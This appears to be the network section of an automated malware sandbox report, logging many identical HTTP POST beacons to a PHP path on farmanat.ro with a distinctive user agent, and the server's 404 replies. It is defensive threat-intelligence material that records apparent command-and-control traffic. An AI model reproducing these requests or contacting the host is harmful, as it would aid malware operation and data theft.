Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close
Source: global traffic	HTTP traffic detected: POST /arman30/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: farmanat.roAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: F45E6F10Content-Length: 151Connection: close

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:47:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:48:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
